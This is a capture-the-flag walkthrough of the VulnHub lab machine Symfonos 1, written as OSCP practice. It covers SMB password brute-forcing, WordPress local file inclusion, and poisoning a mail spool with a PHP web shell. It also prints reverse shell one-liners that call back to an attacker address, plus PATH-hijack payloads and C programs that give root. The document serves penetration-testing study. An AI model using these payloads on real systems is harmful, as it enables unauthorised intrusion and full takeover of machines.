General Information / Brief
Like many other OSCP alumni with lab time expired and in search for alternatives for practice - one will eventually lead upon TJnull list of OSCP-like boxes. While searching though VulnHub - I've stumbled upon the Symfonos series and was quite shocked it is not included in TJnull list. It was really a fun series, certainly memorial and after much practice from previous boxes - definitely test your confidences in enumeration.
Scope
The first runner up in the series will target Symfonos 1 - the scope of this module is to demonstrate specifically the importance of enumeration and gather all information for the complete target picture before exploitation. Also to practice using all methods in a practice environment - to save time during live engagement.
When it comes to OSCP certification - it has been said countless times that ones methodology that works for one, may not works others. The release of this series write-up is to show the methodology that works for me and the approach used to a target from complete enumeration to exploitation - with the hope of serving as an inspiration to take it and create your own, just as I did with others.
Reconnaissance
Target | Address |
---|---|
Symfonos 1 | 192.168.1.85 |
Quick initial scan on target to note open ports and services.
rustscan -a 192.168.1.85 -- -sC -sV
Initial scan result.
$ rustscan -a 192.168.1.85 -- -sC -sV
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy :
: https://github.com/RustScan/RustScan :
--------------------------------------
...
Open 192.168.1.85:22
Open 192.168.1.85:25
Open 192.168.1.85:80
Open 192.168.1.85:139
Open 192.168.1.85:445
[~] Starting Script(s)
...
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
...
25/tcp open smtp syn-ack Postfix smtpd
| ssl-cert: Subject: commonName=symfonos
| Subject Alternative Name: DNS:symfonos
| Issuer: commonName=symfonos
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2019-06-29T00:29:42
| Not valid after: 2029-06-26T00:29:42
| MD5: 086e c75b c397 34d6 6293 70cd 6a76 c4f2
| SHA-1: e3dc 7293 d59b 3444 d39a 41ef 6fc7 2006 bde4 825f
| -----BEGIN CERTIFICATE-----
...
|_-----END CERTIFICATE-----
|_ssl-date: TLS randomness does not represent time
|_smtp-commands: symfonos.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8
80/tcp open http syn-ack Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Site doesn't have a title (text/html).
| http-methods:
|_ Supported Methods: OPTIONS HEAD GET POST
139/tcp open netbios-ssn syn-ack Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn syn-ack Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
Service Info: Host: symfonos.localdomain; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: 0s, deviation: 0s, median: 0s
| smb2-time:
| date: 2022-10-21T15:02:03
|_ start_date: N/A
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 2581/tcp): CLEAN (Couldn't connect)
| Check 2 (port 61283/tcp): CLEAN (Couldn't connect)
| Check 3 (port 37978/udp): CLEAN (Failed to receive data)
| Check 4 (port 52175/udp): CLEAN (Failed to receive data)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
| nbstat: NetBIOS name: SYMFONOS, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| Names:
| SYMFONOS<00> Flags: <unique><active>
| SYMFONOS<03> Flags: <unique><active>
| SYMFONOS<20> Flags: <unique><active>
| \x01\x02__MSBROWSE__\x02<01> Flags: <group><active>
| WORKGROUP<00> Flags: <group><active>
| WORKGROUP<1d> Flags: <unique><active>
| WORKGROUP<1e> Flags: <group><active>
| Statistics:
| 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
| 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|_ 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|_smb-os-discovery: ERROR: Script execution failed (use -d to debug)
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled but not required
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
...
Nmap scan each ports for service and default nmap script.
nmap -sC -sV -p22,25,80,139,445 192.168.1.85
- -sC: run default nmap scripts
- -sV: detect service version
Returns the following result showing that 05 ports are open:
- Port 22: OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
- Port 25: Postfix smtpd
- Port 80: Apache httpd 2.4.25 ((Debian))
- Port 139/445: Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
Initial nmap service and script scan result.
Check - Same result as above.
Before probing ports - re-run and re-check with full nmap scan in background session for full report.
nmap -sC -sV -O -p- 192.168.1.85
- -sC: run default nmap scripts
- -sV: detect service version
- -O: detect OS
- -p-: all ports.
Returns the following result showing that 00 ports are open: No new ports to report.
None.
Run an nmap scan with the -sU flag enabled to run a UDP scan.
nmap -sU --top-port 1000 192.168.1.85
Reports back the following result. No new ports to report.
None.
Enumeration
Port 25 - SMTP
Probing the target port via nmap smtp script did not yield useful report. Operator scan users utilizing tool smtp-user-enum
and reported result from wordlist usernames.txt
. (Other wordlist report same standard unix/linux system users.)
Note:
Wordlist fileusernames.txt
is a internal version developed using jeanphorn username wordlist, combined with other username list from SecList to avoid using multiple wordlist for multiple probe.
smtp-user-enum -M VRFY -U usernames.txt -t 192.168.1.85
Reported username helios
.
Port 139/445 - SMB
Probing the target port via nmap smb script scan reported share listing. Operator utilized tool smbmap
to probe share listing.
Share anonymous
is accessible via anonymous login and also noted share helios
with comment: Helios personal share
- specifically the username helios
. Scan via enum4linux
report also confirms user helios
validity on target.
Crafted smbclient command to login and extracted all data files - report only extracted file attention.txt
.
$ smbclient //192.168.1.85/anonymous -c 'recurse ON;prompt OFF;mget *'
Password for [WORKGROUP\kali]:
getting file \attention.txt of size 154 as attention.txt (150.4 KiloBytes/sec) (average 150.4 KiloBytes/sec)
Extracted file attention.txt
data dumped: Warning note for users.
With information - operator can compile list of possible username and password to scan target entry points for credential access.
# Possible Username:
helios
Zeus
# Possible Password:
epidioko
qwerty
baseball
Starting with smb and utilizing tools such as crackmapexec, hydra, nmap smb-brute failed on target - but manually with smbmap succeeded. Operator made it complicated with the creation of the following script, note to change USER_NAME
variable for username input.
#!/usr/bin/python3
import subprocess
RHOST = "192.168.1.85"
# Adjust Username to needs:
USER_NAME = "helios"
# Password wordlist:
file = "pass.txt"
passwords = open(file).read().split()
Prefex = ["smbmap", "-H", "-u", "-p"]
def main():
length = len(passwords)
i = 0
while i < length:
try:
print("[+] Trying password: " + passwords[i])
# Structure Commands.
command_stuct = ' '.join([Prefex[0],Prefex[1],RHOST,Prefex[2],USER_NAME,Prefex[3]])
# Send it.
command_send = ' '.join([command_stuct, passwords[i]])
res = subprocess.call(command_send, shell = True)
i += 1
except:
print("[-] Error!")
if __name__ == "__main__":
main()
print("[+] ** Sort through off-net analysis manually.. **")
# <ME> I know, I know, I keep making things complicated.
# <THERAPIST> .. Yes.
Deploying script on target, operator cracked credentials to user helios
which returns privilege 'READ ONLY' access.
# Credentials:
helios:qwerty
Following same operating procedure with new credentials - operator can crafted smbclient command to login and extracted all data files on target. Return report extracted file research.txt
and todo.txt
.
$ smbclient //192.168.1.85/helios -U helios -c 'recurse ON;prompt OFF;mget *'
Password for [WORKGROUP\helios]: qwerty
getting file \research.txt of size 432 as research.txt (140.6 KiloBytes/sec) (average 140.6 KiloBytes/sec)
getting file \todo.txt of size 52 as todo.txt (50.8 KiloBytes/sec) (average 118.2 KiloBytes/sec)
Extracted file research.txt
data dumped: A history brief on Helios
and possible wordlist file.
$ cat research.txt
Helios (also Helius) was the god of the Sun in Greek mythology. He was thought to ride a golden chariot which brought the Sun across the skies each day from the east (Ethiopia) to the west (Hesperides) while at night he did the return journey in leisurely fashion lounging in a golden cup. The god was famously the subject of the Colossus of Rhodes, the giant bronze statue considered one of the Seven Wonders of the Ancient World.
Extracted file todo.txt
data dumped: Noted /h3l105
as possible web directory.
Port 80 - HTTP
Operator placed this analysis report last - due to analysis from other service coincide with http service. Probing the target port - front end view.
Viewing source contains a single image.jpg
- contains no data information via exiftool
. Directory and extension scan did not yield useful report. External analysis from target smb port 139/445 reported hidden extension /h3l105
--> http://192.168.1.85/h3l105/
.
Operator noted target running wordpress application, but page appears broken - view source report all links are directed to url http://symfonos.local
. Issue can be fix with edit of file /etc/hosts
and adding 192.168.1.85 symfonos.local
.
Refresh browser --> extension /h3l105
--> http://192.168.1.85/h3l105/
.
WordPress application report possible username: admin
.
Probing /h3l105/wp-login.php
extension --> http://symfonos.local/h3l105/wp-login.php
.
Noted WordPress login panel - username can also be enumerated manually. e.g. Username: admin
with incorrect password reports the following incorrect password error.
Other invalid username - reports a invalid username error.
Operator probe WordPress application utilizing tool wpscan
and noted plugin scan did not yield result . Switching to aggressive plugin scan with the --plugins-detection aggressive --force
flag reported plugin: mail-masta
and site-editor
on target extension.
Initial Access
Exploitation Synopsis:
In this exercise - operator will exploit vulnerable WordPress plugin to exploit local file inclusion to poison target mail log and utilize access to local file to execute operating system command.
Exploitation Incident Report:
Plugin: site-editor
Scan with tool wpscan
report 80% confidences of plug-in version 1.1.1. Operator research phase on: wordpress site-editor exploit
lead to first link, contains advisory guide for exploitation.
- WordPress Plugin Site Editor 1.1.1 - Local File Inclusion
- Files exploitable -
ajax_shortcode_pattern.php
. - Exploitation to view target
/etc/passwd
file can be done with the following Proof-of-Concept attack string:
http://symfonos.local/h3l105/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd
Plugin: mail-masta
Scan with tool wpscan
mentions plug-in is up-to-date at version 1.0. Operator research phase on:wordpress mail-masta exploit
leads to link, contains advisory guide for exploitation.
- WordPress Plugin Mail Masta 1.0 - Local File Inclusion
- Files exploitable -
/inc/campaign/count_of_send.php
and/inc/lists/csvexport.php
. - Exploitation to view target
/etc/passwd
file can be done with the following Proof-of-Concept attack string:
# File: `/inc/lists/csvexport.php`
http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/lists/csvexport.php?pl=/etc/passwd
Exploitation (LFI - Proof-of-Concept)
Target listed 2 WordPress plug-in with 3 files vulnerable to Local File Inclusion. Plugin and file extension to exploit is option-free.
http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/lists/csvexport.php?pl=/etc/passwd
Exploitation (LFI - Internal Analysis - Situation Report)
Probing through the target via WordPress local file inclusion vulnerability, did not manage to retrieve wp-config.php
for credential leaks or access any users ssh key, shell history, default SQL location, etc.
Operator did managed to confirm file /home/helios/.bashrc
as a valid bash shell user profile file. File .bash_history
was not accessible or has been set to /dev/null
. Probing for log files for log poisoning was also unsuccessful.
Exploitation (LFI - User: mail - Internal Analysis)
Probing /var/log/mail.log
failed and default mail location not on user home directory, but operator did manage to view user helios
emails stored on target /var
directory.
# Known default Locations:
/var/mail/$(whoami) --> /var/mail/helios
/var/spool/mail/$(whoami) --> /var/spool/mail/helios
Browse to user helios
mail at /var/mail/helios
or /var/spool/mail/helios
.
http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/lists/csvexport.php?pl=/var/spool/mail/helios
User helios
mail did not report any credentials leaks, but did provide other informational leaks of target system email address.
root@symfonos.localdomain
helios@symfonos.localdomain
Exploitation (LFI - User: mail - Payload Delivery)
Operator can exploit target smtp email access to insert a PHP hook and remotely execute operating system commands. Exploitation is similar to log poisoning, except no log files are involve and operator is using local file inclusion reading access to target user email to render and execute PHP code.
In the following task - operator will send web hook contain PHP code <?php echo system($_REQUEST['cmd']);?>
to target mail. First by using tool SendMail
and second by sending mail manually. Payload delivery choice is option-free, but is advisable to note all options.
Payload Delivery: SendMail
First send test message to see if message is browsable through LFI vulnerability.
sendEmail -f root@symfonos.localdomain -t helios@symfonos.localdomain -u package_1 -m "test" -s 192.168.1.85:25
Error has been reported with SSL routine and certificate verification error.
During research phase, noted issue is service SSL versioning and fix possible from server side (target) downgrade. Operator can manipulate the SendMail SSL option with the -o tls=
parameter - reported success with no
option.
sendEmail -f root@symfonos.localdomain -t helios@symfonos.localdomain -u package_1 -m "test" -s 192.168.1.85:25 -o tls=no
Browse to user helios
mail via LFI vulnerability at /var/mail/helios
confirmed send mail success.
SendMail payload delivery - replay. Note that PHP $_REQUEST
variable requires quotes around the cmd
input field and operator can switch quotes in place. e.g. Single quotes to bracket message, double quotes for input field and vis-versa.
sendEmail -f root@symfonos.localdomain -t helios@symfonos.localdomain -u package_2 -m '<?php echo system($_REQUEST["cmd"]);?>' -s 192.168.1.85:25 -o tls=no
Payload Delivery: Manual
In this task - operator report operating procedure for manual payload delivery. Delivery is basic sending mail via active connection with netcat or telnet session on target smtp service port 25. Manual payload delivery - replay.
EHLO symfonos.localdomain
VRFY helios@symfonos.localdomain <-- Check user before mailing.
MAIL FROM:root@symfonos.localdomain
RCPT TO:helios@symfonos.localdomain
DATA
<?php echo system($_REQUEST['cmd']);?>
.
QUIT
Note: Double check mail at
/var/mail/helios
if payload has been sent successfully.
Exploitation (LFI - PHP Web Hook - Command Execution)
With web hook payload sent, operator can browse to user helios
mail at /var/mail/helios
and insert and execute command by PHP parameter &cmd=[OS COMMAND]
.
http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/lists/csvexport.php?pl=/var/mail/helios&cmd=id
Output report will be cluttered and will require scrolling and often closer examination. If using browser to control web hook - best to view-source to prettify output rather than relying on front end rendered view.
Exploitation (LFI - PHP Web Hook - Implanting)
Operator can utilize browser, curl or burp suite (Option-free) to control PHP web hook and insert a interactive beacon. Operator wasted time again and made things difficult by writing another python script for ease. (Really, it makes it easier for re-implanting or testing other payloads.)
#!/usr/bin/env python3
#
# Print Result - OS COMMANDS:
# - Realistically - mail data send afterward is continious, but payload output is
# specific to single mail. If regex'ing through, output will be way off.
# - Disabled and enter OS command blindly.
import requests
import re
import urllib.parse
# URL + Wordpress extension:
RHOST = "http://symfonos.local/h3l105"
# filepath + vuln LFI file:
file_path = "/wp-content/plugins/mail-masta/inc/lists/csvexport.php"
# Payload string:
PL_string = "?pl=/var/mail/helios&cmd="
def main():
while(True):
command_input= input(">>")
if command_input == 'exit' or command_input== 'quit':
break
else:
r = requests.get(RHOST + file_path + PL_string + "{}".format(urllib.parse.quote(command_input,safe='')))
# print(r.text)
if __name__ == "__main__":
main()
# <ME> .. I keep doing this, I keep making things--
# <THERAPIST> I know!
Utilizing the PHP web hook to insert another stabilize session beacon, the following list of payloads has confirmed success on target.
nc -e /bin/bash 192.168.1.113 8081
bash -c 'bash -i >& /dev/tcp/192.168.1.113/8081 0>&1'
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.113",8081));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Activate listening post handler for beacon session callback on port 8081 and send payload on target. Response from listening post.
Successful exploitation should yield callback session as user helios
privilege.
Privilege Escalation
Exploitation Synopsis:
In this exercise - operator will probe target internals and exploit a misconfigured binary by path hijacking to elevate privilege to superuser.
Exploitation Incident Report:
During internal analysis, operator noted WordPress configuration file wp-config.php
. Extracted file /var/www/html/h3l105/wp-config.php
data dumped - contained possible credential.
/** MySQL database username */
define( 'DB_USER', 'wordpress' );
/** MySQL database password */
define( 'DB_PASSWORD', 'password123' );
/** MySQL hostname */
define( 'DB_HOST', 'localhost' );
/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );
/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );
# Possible Credentials:
Username: wordpress
Password: password123
Accessing database (internally) via MySQL client confirm valid credential. Operator extracted WordPress hash for user admin
.
admin: $P$B8GkoAZZA6.9fooDdaL05B0sazTW0P/
No other useful report for target database. Internal password spray using WordPress password password123
failed. Off-Net cracking session for WordPress hash for user admin
also failed.
Operator probe internal for suid binaries and noted /opt/statuscheck
.
File /opt/statuscheck
is owned by root
and set to suid, but file not listed in GTFObin or known. Operator profile binary to be custom made and must manually perform binary analysis.
Executing file /opt/statuscheck
output report of some sort of http web check on localhost, due to output Server: Apache/2.4.25 (Debian)
matching external analysis of target http port 80 - possibly utilizing curl
.
Operator utilize strings
to probe for plain ascii characters and confirms binary is utilizing curl to check status of localhost http.
Note: The capital
H
seems to be newline statement or\n
equivalent and can be ignored.
Running command curl -I http://localhost
on target session, confirms output identical to target binary /opt/statuscheck
output. Note that strings
command on target binary /opt/statuscheck
reports the curl command is not using absolute path. Attack path could allow operator to exploit 'Environment Variables - Relative Paths' to elevate privilege.
Exploitation (Elevate to user: root)
In this task - operator will prepend a directory to beginning of current path environment variables, allowing binary /opt/statuscheck
to execute a backdoored version of the curl
command in the specified directory first.
Operator will be working out of target /tmp
directory and add /tmp
to beginning session path environment variable. Exploitation requires payload named curl
to placed in /tmp
directory, the following list of command strings to generate payload has been tested and confirmed successful on target. (Option-free.)
printf 'cp /bin/bash /tmp/rootbash && chmod u+s /tmp/rootbash\n' > /tmp/curl; chmod +x /tmp/curl;
echo "cp /bin/bash /tmp/rootbash && chmod u+s /tmp/rootbash" >> curl; chmod +x /tmp/curl
echo 'bash -ip' >> /tmp/curl; chmod +x /tmp/curl
Build essentials is installed on target - another option is to utilize suid.c
.
// Compile, rename and place in /tmp/curl.
#include <stdio.h>
#include <stdlib.h>
int main() {
setresuid(0,0,0);
setresgid(0,0,0);
system("/bin/bash");
}
Prepend /tmp
to path environment and double check path environment.
export PATH=/tmp:$PATH
# Double Check:
echo $PATH
Execute /opt/statuscheck
. The following replay was done with the following payload: echo 'bash -ip' >> /tmp/curl; chmod +x /tmp/curl
.
Successful exploitation should elevate session to user root
privilege. Thanks to the author for installing build essentials on target, operator made things complicated again and came up with the following *.c
exploit.
/*
* STEPS:
* - Create payload (shell script) --> /tmp/curl
* - Set Path
* - Execute.
* - Payload --> Cleanup /tmp/curl after exit.
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
int main(void)
{
char fName[] = "/tmp/curl";
char path[100]="PATH=";
char *input = "/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games"; // sized at: 77
FILE *fp;
printf("[+] Create Payload --> /tmp/curl\n");
int fd = open(fName, O_RDWR | O_CREAT, 0777);
fp = fdopen(fd, "w");
fprintf(fp, "bash -ip\necho [+] Cleaning up.\nrm /tmp/curl\n");
fclose(fp);
printf("[+] Setting Path..\n");
putenv(strcat(path, input));
printf("[+] Execute!\n");
execl("/opt/statuscheck", "/opt/statuscheck", NULL);
return 0;
}
// <ME> Don't lecture me about programming bad habitz.
// <THERAPIST> *sigh*... You know know I will.
*.c
exploit execution - replay.
Proof
Exploitation Post-Incident Report
- Local File Inclusion (Poisoning) - Don't have to rely on log file access to poison, check mail access to poison or basically any file that can be edit externally and allow LFI privilege access to view and render PHP.
- Send Mail (Error handling) - Be fluent and aware with options in your tools and know alternative (including manual) methods - during deployment, operator can be flexible to adjust without delays.
Spelling, errors or any other issues to report. Please - be kind and let me know.
Until then...